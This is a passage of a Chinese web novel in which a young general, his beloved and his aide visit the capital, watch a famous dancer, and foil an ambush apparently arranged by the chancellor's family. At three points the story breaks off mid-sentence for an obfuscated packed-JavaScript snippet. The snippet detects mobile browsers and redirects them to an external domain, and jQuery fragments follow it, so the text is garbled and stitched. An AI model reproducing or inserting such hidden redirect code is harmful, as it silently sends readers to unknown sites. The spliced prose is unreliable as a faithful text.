白清舟笑道,“比我强,至少爹行过**路,见过形形**的人,不管是医术还是阅历,都远超于好多人,我这当儿子的满心都是钦佩。” “真好!”林序瞧着白清舟,提起他爹时,满脸的骄傲之色,忽然有些感慨了,“有父亲的感觉真好啊!真让人羡慕。” 白清舟一顿,转而便明白了林序的意思。 “哈,开个玩笑。”林序摆摆手,跳过这个话题,转头看向身后的两人。 哟,这都放上河灯了? 河灯上,写着小纸条,卷成不起眼的小纸棍,塞在花心中。 陈识月放了河灯,神情虔诚的双手合十,似乎是在许愿。 霍青行抱着那一包杏脯,瞧着她这般模样,眼睛都不带眨一下,好似怎么看都看不够,要把欠缺的年岁都补回来。 陈识月徐徐睁开眼,长长的羽睫扬起,凌凌波光刚好落在她的眼中。 那一刻,霍青行觉得她在发光。 护城河倒映着万家灯火,而整条护城河的波光全在她眼里,霍青行似乎有些痴迷了,却见她莆一回头,刚好与他四目相对。 贪婪的视线来不及收回,便被陈识月抓了个正着。 “你盯着我作甚?”陈识月环顾自身,“我脸上有什么脏东西吗?” 霍青行点头,“有,我帮你擦一擦。” 闻言,陈识月站起身来。 霍青行上前,伸手被风吹乱的鬓发拨至她耳后,温热的掌心顺势落在她后脑勺,紧接着便吻在了她的眉心。 陈识月:“……” 风吹杨柳低垂,波光合着涟漪。 护城河边喧闹不休,却在这一刻好似忽然静止,要不怎么说,人不能在浪漫的环境里待太久,否则容易变得感性,然后突然就爱上某个人。 “你别忘了,现在我是男儿装束,让人看见了……”回过神来,陈识月赶紧环顾四周,转身就走,“你这个人真是,怎么时时刻刻都想着占便宜?” 霍青行摸了摸自个的唇,花灯太美,不由自主的就……嘿,真甜。 凉风****,心花怒放。 “啧啧啧,看见没有?”林序直摇头。 白清舟笑得有些尴尬,“看、看见了。” “知道这叫什么吗?”林序问。 白清舟摇头。 “英雄难过美人关。”林序郑重其事的解释。 白清舟恍然大悟,“原来如此!不过,英雄当配美人,美人亦敬英雄,实在是男才女貌,登对得很呢!” “打小就挑中的媳妇,能差吗?”林序翻个白眼,“丢了那么多年,一朝寻回,宝贝得跟眼珠子似的,捧在手里怕摔了,含在嘴里怕化了,恨不能天天揣兜里。” 白清舟跟着笑,“这是好事,多少人求之不得的真情意。” “你们读书人总是喜欢说这些,风花雪月是好,可我们这些人都是刀头舔血过来的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15791892|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今日不知明日事,如今暂时无战事倒也罢了,若是战事起……”林序顿了顿。 结局不必言说,已经很明显了。 白清舟说不出话来,刀剑无眼,上了战场之后……谁说得准呢? 赢了,那就是军功。 输了,便是马革裹尸。 “好了,不说这些,既是父亲让我带着你们逛一逛金都城,那咱就开开心心的。”白清舟在前面领路,带着他们走过了拱桥,“前面是花街,哦,花街可不全是花楼,里面还有舞姬坊,有乐坊,以及茶楼酒肆,是整个金都城最热闹的地方。” 林序点点头,“那不就是另一个销金窝吗?” “算是吧!”白清舟点头,“只是一个在明面上,一个不见光。明面上的,不敢肆意,总归是有些收敛,偶尔也算是惠及百姓,可藏在暗处的……谁知道那些银子的走向,谁知道那些见不得光的腌臜?” 这里的银子多少都是要交赋税的,赋税多少能用于民生,也算是惠及百姓。 可销金窝里的不是! 那里的银子进出,甚至于人员都是见不得光的,说不定哪天,这些银子和这些人,会殃及无辜百姓,会霍乱天下人。 “对了林公子,你们能待多久?”白清舟问。 林序摇头,“不确定,看情况。” 这事,谁说得准呢? 站在桥上,瞧着两岸行走的人,霍青行小心翼翼的护着陈识月,以免被人群挤下去。 突然间,有人发出了惊呼。 只听得耳畔传来嘶喊声,“快,有人落水了,有人落水了!” 心下一紧,霍青行二话不说便将陈识月揽入怀中,推开人群把她先护送到了岸边。 桥上太危险,先护着她再说。 林序动作快,一个纵身便飞身而起,紧接着便是几个落点,踩着水面如燕掠过,扣住落水之人的手,直接把人拉上了岸边。 刹那间,路人全部围了上来。 还好林序出手及时,才让路人幸免于难,只是喝了两口水,其他倒是无碍。 周遭众人纷纷夸赞,林序赶紧拱手离开,只想救人不想惹麻烦,还是先走为上。 不远处,有一双眼睛直勾勾的盯着…… 第二百八十七章 好热闹的天子脚下 救了人,林序没有逗留,毕竟不想出风头,他所有的风头应该出在战场上,那才是他的荣耀所在。 “没事吧?”见着林序回来,白清舟忙上前。 这要是出事,没法跟父亲他们交代。 林序摇摇头,“没什么大碍。” “走吧!”霍青行护着陈识月,赶紧挤开人群,快速朝前走去。 及至稍稍安静处,霍青行才放心的松开陈识月,这边有舞姬坊,有乐坊,茶楼里的说书先生正重重的将惊木落下。 “好热闹,比那条街还热闹。”陈识月有些感慨,“真是天子脚下,遍地黄金!” 原本,她也能在这样的地方长大。 可潜龙关一战,让多少人家破人亡,如她这般遭遇的不胜枚数。 成年男子全部斩首,未成年的男子全部流放,女眷悉数充为官奴,姿色不错的送入了教坊司,成了官妓,姿色逊一些则送入了军营,那些女子都会有什么样的下场,自然不需要多说。 “乐坊里的琴娘,各种乐器都是信手拈来。”白清舟边走边解释,“舞姬坊的舞娘,能作掌上舞,身姿曼妙,不可多得。你们放心,这都是正经地方,诸位姑娘都是卖艺不**,全凭本事挣钱,与花楼可不是一个事。” 金都城内,谁不喜欢这几处地方? “来!”白清舟带着他们进了舞姬坊。 舞姬坊内。 最是热闹。 到处都是嬉笑声,伴随着曲水流觞,丝竹管弦之音,满目都是翻飞的彩绸,三层楼的建造,皆围绕着正中间的舞台。 舞姬穿着花花绿绿的衣裳,一个个容色姣好,抹不开的少女俏皮色,一颦一笑,将台下人勾得三魂去了七魄,恨不能登台同舞。 喝彩声,不绝于耳! 逢着欢喜,还有人掷银台上,充作打赏,惹得台上的舞姬,脸都快笑烂了,玉足轻点,真真是点到了一个个看客的心里去。 美人如斯,谁不心动? 谁还不是从年少过来的,如今有点银子,找点快活怎么了? 舞姬收了银子,逗着客人欢喜,又有什么错呢? 各取所需,都是为了活。 二楼有空位,白清舟赶紧领着三人坐下来。 “这个位置好,刚好能瞧见底下的看台。”白清舟笑了笑,其后便麻溜的点了几样菜,让人先把茶水糕点先上。 林序啧啧两声,“看不出来,白公子对这里很熟悉嘛!熟门熟路的,就跟回家似的!” “哈,哪有哪有,就是素日里读书累了,便来消遣消遣。”白清舟忙哈哈的敷衍两句,“快坐快坐,这里最出名的就是酱肘子和桂花酒,简直是金都一绝。” 不多时,便有伙计快速递了茶水糕点上来,顺道还有一道白清舟口中,一绝的酱肘子以及一小壶桂花酒。 “出门在外,要当心。”瞧着陈识月端起杯盏,跃跃欲试的样子,霍青行赶紧出声制止。 酒是个好东西,能壮人胆。 但也不是个好东西,会乱心智。 “我尝一尝,不喝多。”陈识月忙解释,“闻着好香呢!” 这是出门在外,他怕她真的醉了,到时候不好收场。 “这桂花佳酿不会太醉人,类似于果酒差不多。”白清舟忙不迭解释,“可小心品尝两口,不喝多便是了!” 陈识月端起杯盏,小小的抿了一口,“唇齿留香,有点甜甜的,还真是不赖。” “是。”白清舟点头,“你试试这酱肘子,味道也是好得很。入口即化,满口酱香,那软糯糯的,简直是美哉!” 瞧着他摇头晃脑的样子,不似之前那般古板,林序咂吧一声,“没想到你个书呆子,对吃的方面竟也有这般心思。可见平日里,没少吃吃喝喝。” “偶尔,偶尔。”白清舟喝了口桂花酿。 下一刻,底下忽然沸腾起来。 只瞧着一队舞姬款款而来,其后便是热烈的鼓掌声,还有欢呼声,只瞧着领头的舞姬身量纤纤,轻纱负面,款步走上了舞台。 花团锦簇,鼓乐齐鸣。 顷刻间,身形婉转,翩然如游龙,再若惊鸿,身后伴舞更是各个身姿绰约,原本热闹的舞姬坊,好似被人摁下了暂停键。 每个人都紧盯着舞台上的舞姬,一个个如痴如醉,掩不住眸中的惊艳与欢喜之色。 连带着,白清舟也是。 林序皱起眉头,他看不懂这什么舞蹈,成日里跟黄沙为伴的少年人,只知道大口吃肉,大碗喝酒,和一帮大老粗吹吹牛,哪儿懂得这些风花雪月。 若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15797356|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是非要说出点什么…… 还真是说不出个词儿来。 直到一舞罢,众人再度鼓掌,陈识月面颊微红的看向众人,除了霍青行正对着酱肘子左看看,右看看,凑近了嗅一嗅,没怎么留意舞台上的事情,其他人好像都入了迷。 “这姑娘是什么来头?大家这般热衷?”陈识月有些诧异。 闻言,霍青行抬头看了一眼,“不就是个女的吗?” 林序点头,“绝对是女的。” 那一刻,白清舟诧异极了,眼珠子都快落到地上,不敢置信的看向二人,“在你们眼里,这只是个女子而已?没有别的?” “别的?”林序诧异,将杯中的桂花酿一饮而尽,其后瞪大眼睛看着,“个子挺高,身无二两肉,太瘦了。” 白清舟:“……” 这正常吗? “还有呢?”白清舟问。 还有? 林序不解,“还有什么?该说的都说完了,这还有什么?” “就真的没别的了?”白清舟还是有点无法理解的,“这可是舞姬坊的招牌,五娘。貌美如花,舞技卓绝,甚至于当今圣上也曾多次邀约五娘,进宫献舞,甚至于有过口谕,任何人不得强迫五娘。你们今日是运气好,竟刚好逢着五娘跳舞。” 陈识月不解,“她很久不跳了吗?” “有阵子没出现了,小半个月了吧!”白清舟掐着手指算了算,“所以说,咱今儿真是运气不错,现如今可不是随随便便,都能看到五娘跳舞的。” 陈识月笑了笑,“这酱肘子真不错。” “你觉得喜欢?”霍青行问。 陈识月点头,“合着这桂花酿,真真是极好的,白公子所言不假,此行不虚。” “你高兴就好!”霍青行将跟前的酱肘子递给她,“多吃点,最近都瘦了。” 陈识月:“??” 她不是一直如此吗? “我去方便一下。”霍青行起身。 白清舟忙问,“我要陪同吗?” “不用。”霍青行摆手,“林序,看着点。” 林序颔首,“是!” 看什么? 看好他的媳妇,免得被人悄摸摸偷了家! 然而,怕什么就来什么! 第二百八十八章 差点被套麻袋 霍青行是好一阵才回来的,转头瞧着陈识月面颊微红的样子,当即摁住了她的手,“不能再喝了!” 说完这话,霍青行狠狠剜了林序一眼。 林序:“……” “不是让你看着点吗?你就是这么看着的?”霍青行脸色黑沉,转头看向陈识月的时候,目光瞬间柔和下来,“再喝就醉了,不能喝了,乖。” 林序:“??” 这怎么还两副面孔呢? “我去方便一下!”林序无奈的叹气。 先避其锋芒,免得自己遭殃。 白清舟也赶紧起身,“我陪你一起去吧?” “不用不用。”林序摆摆手,“我有嘴,会问路。” 白清舟笑了笑,“那我去找掌柜的,再给咱添几道菜,你们两个先坐着,千万不要乱走。” 眼下人多,万一到时候走散,不知去何处找人。 “好!”霍青行应声。 陈识月的确有点微醺,如白清舟所言,这桂花酿倒是没那么容易醉人,但既然是酒,多多少少是有些酒劲的,她又是个遇酒就脸红的,如今像极了煮熟的虾子。 “有点晕乎乎的。”陈识月托腮。 微醺状态下的人,也算是壮了胆的,她就这么眼皮子半耷拉着,直勾勾的盯着眼前的霍青行,瞧着他赶紧招呼伙计,给他们上茶,以淡茶为她解酒。 又拨弄着那酱肘子,一口口的往她嘴里投喂,毕竟喝酒伤身,尤其是伤胃,得吃点东西垫一垫,尤其是油腻腻的这些,最有饱腹感。 “霍青行,你长得真好看。” 突如其来的一句,让霍青行的手一抖,筷子夹着的那块肉险些掉地上。 七尺男儿,流血不流泪。 战场上被人砍了那么多刀,握刀的手也没抖一下,如今却因为她轻飘飘的一句话,险些连筷子都拿不住,想想都令人匪夷所思。 “乖,张嘴。”霍青行往她嘴里塞东西,“吃点东西,明天醒来的时候,不会太难受。” 她乖乖张嘴,乖乖接受投喂。 临了,他趁势追击,问了一句,“那你喜欢我吗?” 陈识月乖乖点头,“这么好看,为什么不喜欢?” 瞧着她眼神迷离的样子,霍青行的唇角险些压不住,“那你一辈子喜欢我,成不成?” “成!”她点头回答。 霍青行扬起唇角,“说好的一辈子,听清楚了吗?” “听清楚了。” 瞧着她一副乖巧的模样,有问有答,霍青行觉得……便是醉话也足以醉人心。 “要不……”霍青行看了看她,“你再喝点?” 媳妇的醉话真好听! 白清舟慌慌张张的跑回来,“公子公子,林公子出事了!” 霍青行:“??” 出事? 能出什么事? 林序虽然有时候会幼稚得像个孩子,毕竟是个半大小子,但到底是战场上回来的,大事小事心里门清,不至于在外面惹是生非。 除非,有人主动送上门。 霍青行旋即牵起了陈识月,“月儿,我们走!” 白清舟在前面领路,把人往后院领。 茅厕在后面,林序问了伙计才找到地方,只是他刚要进去便察觉到了不对劲,第一反应便是退了出来,正好发现有人偷袭。 麻袋刚落下来,林序旋即一个驴打滚,快速避开。 论反应速度,他可是能当探子用的。 对方大概没料到,林序反应这般敏捷,当即再度扑上来,也不用麻袋了,反正都打了个照面,直接棍棒相加。 林序闪身避开,不明白这无来由的袭击是什么意思? 莫非是找错了? 又或者是,悄悄潜入销金窝的事情暴露了? 当然,也可能是别的什么缘故。 “尔等何人,为何要找我麻烦?”林序不想树敌,这毕竟不是自己的地盘,若是闹起来,容易给公子和月大夫惹麻烦。 可没想到的是,这些人压根不回答,拼了命的往前冲。 一开始的时候,林序还留着手,寻思着解开这误会。到了这会,若是林序还没看明白,那就真的是活该挨打了! 一脚踹飞一个,反手夺过对方手中的棍子,林序反客为主,直接把人压制得死死的,一帮宵小之辈,他林序还没放在眼里。 只不过,这边的打斗声到底是引起了护院的注意。 顷刻间,一帮护院快速冲了过来,将所有人团团围住。 “住手,都住手!”坊主冷声厉喝,“你们想干什么?为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15814963|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何在这里**?若是再不住手,就送你们去见官!” 闻言,双方停战。 林序长嘴,率先开口,“我来上个茅房,他们这些人上来就动手,我也不知道招谁惹谁了,还是说这是你们舞姬坊的仇敌?打算在这里闹出一点事来?” 一听这话,坊主登时皱起眉头。 林序是外乡人,听口音都能听得出来,而这些打手也面生,一个个身强体壮,瞧着就不好惹,但因着生面孔,一时间也不知道是从哪儿冒出来的。 倒是之前给林序领过路的伙计,上前冲着坊主说了两句。 坊主点点头,看向那些打手,地上的木棍还有一个麻袋,似乎很说明问题所在了。 “把他们几个抓起来,送官究办!”坊主冷声下令,“敢在我舞姬坊**,简直不知死活!” “是!” 护院赶紧上前,将好不容易从地上爬起来的打手,纷纷绑起来,也不管人家的挣扎,直接堵住嘴往外扯去。 “好了好了,都没事了,大家都散了吧!”坊主摆摆手。 看热闹的人自然散去,横竖已无热闹可看。 白清舟已经领着霍青行赶来,“林公子,可有伤着?” 方才这双方打架,他通知了伙计,便赶紧去找了霍青行,所以这会也不知道具体情况。 “我没事!”林序拍了拍身上的灰尘,“一帮跳梁小丑,还奈何不了我。” “少侠好功夫!”坊主上前。 白清舟时常来舞姬坊,坊主倒是认识,毕竟姑娘们病了,也都是去的回春堂,知道白清舟是少东家,想必跟他一道过来的,也不是什么坏人。 “不敢当!”林序拱手,“就是有些扫兴,我这还没进茅厕呢,就差点让人麻袋套了打一顿,还好我反应快。这金都城,我是人生地不熟,也不知道哪儿招来这么一帮凶神恶煞?给坊主惹麻烦了,请坊主见谅。” 坊主愣了愣,“你真不认识?” “我刚来!”林序皱眉,满脸为难,“地方都还没熟悉呢!” 这下子,坊主傻眼了,转头看想白清舟。 白清舟摇摇头,“我也不认识那些人。” “这就奇了怪了,何人如此放肆,天子脚下如此目无法纪?”坊主诧异。 会是谁呢? 第二百八十九章 要不然,治我死罪? “不管是谁的人,哪怕是找错了人,敢在金都城内行这等阴狠毒辣之事,合该被送官究办。”白清舟心有余悸,“府尹大人一定会查清楚的。” 坊主点头,“送官,必须送官!这要是不弄清楚,对我舞姬坊名誉有碍,以后谁还敢贸贸然进来消遣,还以为我开的是黑店呢!” “没事就好!”霍青行与林序对视一眼。 没事,当然会没事! 林序是什么人,除非用那些不入流的手段,要是硬碰硬,林序还真不一定会吃亏。 这一身的好功夫,可不是干的,他们做的都是杀人的活,自然是一身杀人技。 不瞬。 霍青行回过神来,“走吧!” 不能因为这件事,僵持太久,免得到时候再生麻烦。 “少侠,有没有意向当护院啊?”坊主忽然笑问。 林序忙摆手,“咱只是暂时来一趟金都,可没打算长住,多谢坊主好意。” “原来如此!”坊主赶紧吩咐了底下人两声,“此番是我舞姬坊招待不周,出了这样的麻烦事,我让伙计给你们多送两壶桂花酿,多来几盘酱肘子,权当是赔罪了!” 说着,坊主拱手。 到底事多,也不能在此久留,坊主转身就走。 回到位置上,白清舟面露愧疚之色,“是我思虑不周,没想到素日里来的地方,竟然也会出这样的事情,让林公子受惊了!” “什么话?咱要不是白公子,咱也不能来开开眼界啊!”林序笑盈盈的回答,不以为意,“白公子是不知道边关清苦,哪儿见识过这样的富丽堂皇,这样的热闹?” 闻言,白清舟更是愧疚,“林公子大度,让白某汗颜!” “你们就别客气来客气去的。”霍青行面色微沉,“我觉得今晚的事情有些不对头,林序,你说说看,发现了什么?” 林序回过神来,将杯中酒一饮而尽,略作思考状。 回想? 伙计上前,将两壶桂花酿,还有几盘酱肘子放下,“这是坊主特意为诸位赔罪的,请慢用。” “多谢!”白清舟转头看了一眼林序。 林序思虑再三,“他们一来就好似有极大的目的性,直接冲我来的,没有任何的犹豫,直接拿麻袋套头,是我快速避开了,所以才能逃过一劫。要不然套了麻袋,估计就要乱棍打死我了!当然,也可能只是教训我一顿,未必是真的要杀人!” 这可是舞姬坊,杀人也得找个僻静的地儿,谁杀人找这么热闹的地方? “这些人气力不小,但功夫不高,不像是护院之类的练家子。”林序又道,“我觉得应该是家奴之类,或者是干力气活的人。” 家奴? 力气活? 白清舟琢磨着,“林公子是得罪了什么人吗?” “我刚来,不熟。”林序一口否决。 他对金都这个地方,地名倒是挺熟,别的一概不熟。 “诶?”林序看着霍青行,忽然好似想起了什么,“公子,会不会你那朵烂桃花搞的鬼?那婆娘瞧着不像是好人呢!” 白清舟:“……” 哎呦我的老天爷,那可是丞相府的姑娘! 霍青行不说话,这事还真是不好说,他已经很久没怎么留意过金都的人和事了,很多事情都是父亲一手操持,尤其是这些朝堂上的弯弯绕绕。 爹说:人心才是这世上最毒的东西。 比毒药还毒! “会是她吗?”林序低声问。 白清舟也眼巴巴的盯着霍青行。 “不知道。”霍青行瞧着已经开始昏昏欲睡的陈识月。 酒劲儿上来了,陈识月有些撑不住,脑袋一歪就靠在了霍青行的肩头,被他轻轻的揽入怀中。 “时辰不早了,你们该吃吃该喝喝,待会就回去吧!”霍青行瞧着耷拉脑袋的陈识月,“你要是困了,就闭眼歇一会,要不然这路上睡着了,免不得要受凉。” 说着,他的外衣已经覆在了她身上。 酒劲儿上来谁都扛不住,自然是要眯一眯才好,毕竟这桂花酿的酒劲不大,估计待会就会醒酒,等她稍微醒一醒再回去,这样她也不会太累。 待吃饱喝足,约莫是小半个时辰过后。 如霍青行所料,陈识月醒酒了。 醒来的人,有点迷迷瞪瞪的,好在喝了口水,就算是彻底清醒了,坐在那里又开始啃酱肘子,显得尤为安静。 “你缓缓神,吃点东西,我们再回去。”霍青行给她倒了杯温水,“慢点吃,别噎着。” 吃饱了,身子就会暖和起来,便也不会觉得太冷。 出了舞姬坊的时候,陈识月彻底清醒了,“金都城真好看。” 那句金都随地是黄金,兴许有夸张的成分,但其实……也算是对了大半,瞧着好像不知人间疾苦,不懂民生艰难。 一行人缓步走在街道上,这会人倒是少了一些,但时不时会有醉汉东倒西歪,动不动有人从灯火璀璨的楼子里出来。 踩着青石板,望着万家灯火。 转个弯,进了巷子。 霍青行却冲着林序使了个眼色,林序了悟,旋即带着陈识月和白清舟往前走去。 “怎么了?”陈识月有些担忧。 霍青行示意她放心,让他们先走。 既如此,陈识月也没敢逗留,快速朝前走,只是这一颗心始终悬着,走出去一段路,又回头看了一眼,“林序,他不会有事吧?” “不会!”林序摇头,“月大夫莫要忘了,公子的身份!不管是边疆,还是这金都,谁敢动他?眼下边关蠢蠢欲动,老皇帝还等着霍家为他卖命呢!” 可用将才不多,能镇住边关的更不多,满朝文武加起来,真正能让皇帝用得上的,霍家便是首当其冲,这便是霍青行的底气。 眼看着人走了,霍青行松了口气,双臂环胸贴在墙根斜靠着。 不多时,有脚步声响起。 蓦地,又顿住。 “有意思吗?”霍青行冷声开口,“想跟到什么时候?那些动手的人,都是你丞相府派来的吧?” 音落,黑暗中有人沉寂了片刻,终是缓缓从黑暗中走出,走进了霍青行的视线里。 是个年轻男子,一身锦衣华服的,瞧着甚是矜贵。 行至明亮处,男人止步,似笑非笑的看向霍青行,“少将军回了金都,怎么也没吱个声,满朝文武似乎都不知情吧?边关守将,贸贸然回朝,您这是玩的哪一出啊?皇上知道吗?若是皇上不知道,你擅自离开边关,可是重罪!” 霍青行抬眸看向他,眼里没有半分温度,“要不然,杨公子进宫一趟,去跟皇上告我的状,让他治我死罪!我就在这里等着接旨!” 第二百九十章 男人的“一点”用处 杨明放是丞相府是那位杨姑娘的兄长,这会出现在这里,的确也不足为奇,这金都城内,谁不知道这对兄妹? 杨丞相是三朝元老,先帝重用,当今圣上也是分外器重,其子为禁卫军之首,驻守金都,为金都屏障,可见皇帝对杨家的信赖。 只不过,杨家人丁凋敝,杨老丞相就一个儿子,到杨统领这辈……也就得了一对龙凤胎。 杨明放,杨明慧。 听得霍青行这般言语,杨明放笑出声来,“少将军还是一如既往的风趣幽默,霍家功于社稷,天下人谁不知晓霍大将军驻守边关,镇得蛮夷不敢靠近?咱可不敢冒天下之大不韪,让霍家的少将军担罪。” “嘴上说得真好听,若非知道你是个什么东西,还真就信了!”霍青行可不相信他,满嘴的鬼话连篇,谁信谁就当鬼。 丞相府,没一个好人。 “霍少将军,对我杨家似乎有诸多的误会。”杨明放不温不火的开口,“其实咱们可以找个机会,慢慢的解开这误会。老将军驻守边关多年,少将军也在边关立下赫赫战功,可说到底边关苦寒,谁能在那里待一辈子呢?终究是要回金都的。” 这是威胁? 霍青行冷眼看他,“这便是你们要将杨家的姑娘,送到我跟前的缘由?” 这话说得,连杨明放都跟着喉间一哽。 在金都待久了,都喜欢阴阳怪气,喜欢拐弯抹角,喜欢逢人只说三分话,但霍青行一个打直球,直接把杨明放给问懵了,好半晌都没反应过来。 “这话说得……少将军未免太不近人情。”杨明放摇摇头,“这少女慕爱,不是常事吗?年轻的时候,哪个不是满心满眼的风花雪月?” 霍青行站直了身子,“不要再跟着我,也不要再废话,我不想看到你们,更不想听到你们废话!” 语罢,他抬步就走。 “少将军觉得,皇上会不知情吗?”杨明放开口。 霍青行挺直了脊背,“你为什么会觉得,我是偷偷回来的?既然你们都能发现,为何皇上不能?用你的猪脑子好好想清楚,别在这里丢人现眼,回头祖孙三代的脸都被你们兄妹丢完了!” “你!”杨明放咬着牙,“霍青行,你得意什么?谁还不是靠着家里呢?” 这话说得霍青行可就不乐意了,回头用目光打量着他,最后停留在他的某个位置,“我同你的区别是,我靠自己的本事杀敌报国,你呢……就剩下一点用处。” 他将“一点”二字咬得很重,意味已经很明显了。 杨明放忽然僵在原地,脑瓜子里好似有什么东西忽然炸开,铺天盖地的羞辱就像是连环炮一样,轰得他无言以对。 为什么无言以对? 因为现在的杨明放,除了杨家小公子的称谓,真的什么都没有,无半点功名在身。 反观霍青行,将门虎子,年纪轻轻就已经战功卓著。 随父驻守边关,立下赫赫战功。 帝王几次嘉奖,圣旨直达边关,褒奖褒奖还是褒奖! 少年将军,意气风发。 领兵上阵,杀敌无数。 “霍!青!行!”杨明放咬着牙。 气煞人也! 我们走着瞧! 及至人都走远了,杨明放还没缓过劲来,胸口起伏得厉害,恨不能上去撕了霍青行。 当然,他没这个本事,就他这小身板……还不够霍青行两脚踹的。 “公子?”底下人上前,战战兢兢的开口,“您没事吧?还跟吗?” 杨明放恼怒,“跟跟跟,还跟个屁!就你们这一个两个废物的,跟个人还被人发现了,害得小爷被羞辱一番,全他么酒囊饭袋!滚!” 语罢,他一脚踹在仆从屁股上,却险些把自己撞一踉跄。 有那么一瞬,双方都懵了。 紧接着,便是杨明放破大防的怒喝,“滚!都给我滚!你们这帮废物!” 话是这么说的,但转头却是自己气吼吼的先滚了。 众仆从面面相觑,继而快速跟上。 霍青行回来的时候,陈识月就站在街尾,始终安安静静的等着他,见着来人,登时眼睛都亮了,当即走上前。 “如何?”陈识月追问。 霍青行点了一下头,表示回应,然后冲着林序使了个眼色。 林序颔首,悄然退去。 “回去吧!”霍青行长长吐出一口气。 陈识月这次才算放心,白清舟有些诧异,“林公子去哪了?” “他有他的事情。”霍青行没有过多解释。 白清舟不再多问,带着二人回了白府。 白老爷不在,听管家说是出去了。 “好好休息!”白清舟不以为意,“父亲肯定是去回春堂了,偶尔夜里还是会有急诊,到底是离不开人的。” “嗯!”霍青行拱手,“多谢白兄款待。” 白清舟笑了笑,“早点休息,明天见。” 回到院中,陈识月看向霍青行,“那我回去了。” “嗯!”霍青行点头。 只是,在陈识月踏入房门的那一刻,他又开口叫住了她。 “月儿!” “嗯?” 陈识月转头看他,“还有事?” “那个杨明慧的话,你莫要往心里去。”霍青行嗫嚅了一下,“我对她没有半分感觉,也不会生出一丝一毫的感情。” 陈识月被他逗笑了,“我相信你!” 从他避如蛇蝎的肢体语言就能看出来,他对杨明慧是真的没有半点感觉,甚至于带了几分厌恶。 霍青行上前两步,压低了声音开口,“不要相信丞相府的人,包括杨明慧。” “嗯!”他说得很认真,陈识月自然也当真。 霍青行握住她的手,“这些事情若说没有他们这些人的掺合,估摸着成不了气候,明白我的意思吧?任何时候,不要让自己置身险地,尤其是万一落了单,千万不要硬碰硬。他们最常做的事情是杀人灭口,你若是落在他们手里,被他们发觉到了一场,绝对不会成为幸运儿。” 凡事,得把利害挑明。 只有这样才能让她提高警惕,免得以后吃暗亏。 “我记住了!”陈识月郑重其事的点头。 霍青行松了口气,“好好休息。” 陈识月抬步进门,关门的时候又看了一眼,站在门口,眼巴巴盯着她的霍青行,止不住扬了扬唇角,终是合上了房门。 霍青行在门口站了半晌,终是依依不舍的离开。 波云诡谲的金都,暗潮涌动的朝堂,都不是省油的灯,若是一不留神,可能这辈子都走不出这金都。 这也是父亲宁可驻守边关,也不愿意回金都的原因。 人心算计,太累太累。 一辈子就那么长,还得算计着度日,何苦? 第二百九十一章 想要媳妇,就得又争又抢 夜里,陈识月睡得有点不踏实,大概是近乡情怯?哦不,是已经回了乡,所以夜里总做梦,梦到了小时候的那些事情,梦到了稀薄的父爱,温暖的母爱,还有后院那些仆从。 虽然是在后院长大的,很少在外头露脸,但后院那些仆从对她都很好,和老管家与厨娘一样,都是看着她长大的,小时候母亲身子不好,他们就经常投喂她,照料着她。 她成长的环境不是大富大贵,却也是有爱的,这也是为什么在她长大后,觉得父亲不疼爱她,也没有自暴自弃的缘由。 不是缺爱,只是缺了父爱,自己缝缝补补,倒也没那么难过! 年轻的管家伯伯,年轻的厨娘婶婶,笑盈盈的逗弄着她,给她在厨房后面弄了个秋千,荡得高的时候,还能看到墙外的场景。 霍青行小时候就经常爬上屋顶,然后就看着她在哪里荡秋千,虽然是一个人,却也高高兴兴的…… 忽然从梦中惊醒,陈识月揉了揉眉心。 窗外有身影一闪而逝,惊得她慌忙披上外衣出去。 什么人? 刚走出去没两步,便见着霍青行从屋内走出来。 “刚才……” “是林序!”霍青行回答。 陈识月愣怔片刻,转而明白了,“他才回来?” “他吵醒你了?”霍青行有些担忧。 陈识月急忙摇头,“本来就睡不着,不算是吵醒,你们没事吧?” “没事。”霍青行就是察觉到了隔壁有动静,所以赶紧出来解释,免得她提心吊胆,免得她误会白家,“你放心,金都虽然龙蛇混杂,到处都是大人物,但霍家也不是吃素的,我定能护你周全。” 只所以没有带着她回将军府,不过是时机未到。 “那什么……”陈识月犹豫了一下,“我思来想去,还是有些不放心的。杨姑娘有些话的确不中听,但是我听着却也听出了些道理,你是边关守将,贸贸然跟我进了金都,若是被皇上知晓,会不会被按上什么罪名?我不懂官场那些弯弯绕绕,但我知晓……欲加之罪何患无辞。” 霍青行上前两步,弯腰凑近她,“担心我?” “嗯。”她直白的回答。 他为她出生入死,连性命都不顾,这般情意有什么遮遮掩掩的? 他都不怕,她为何要畏缩? “莫怕,来的路上已经跟父亲请示过,所以父亲早有安排,你不会以为我是空着手来的吧?”霍青行直起身,徐徐张开双臂。 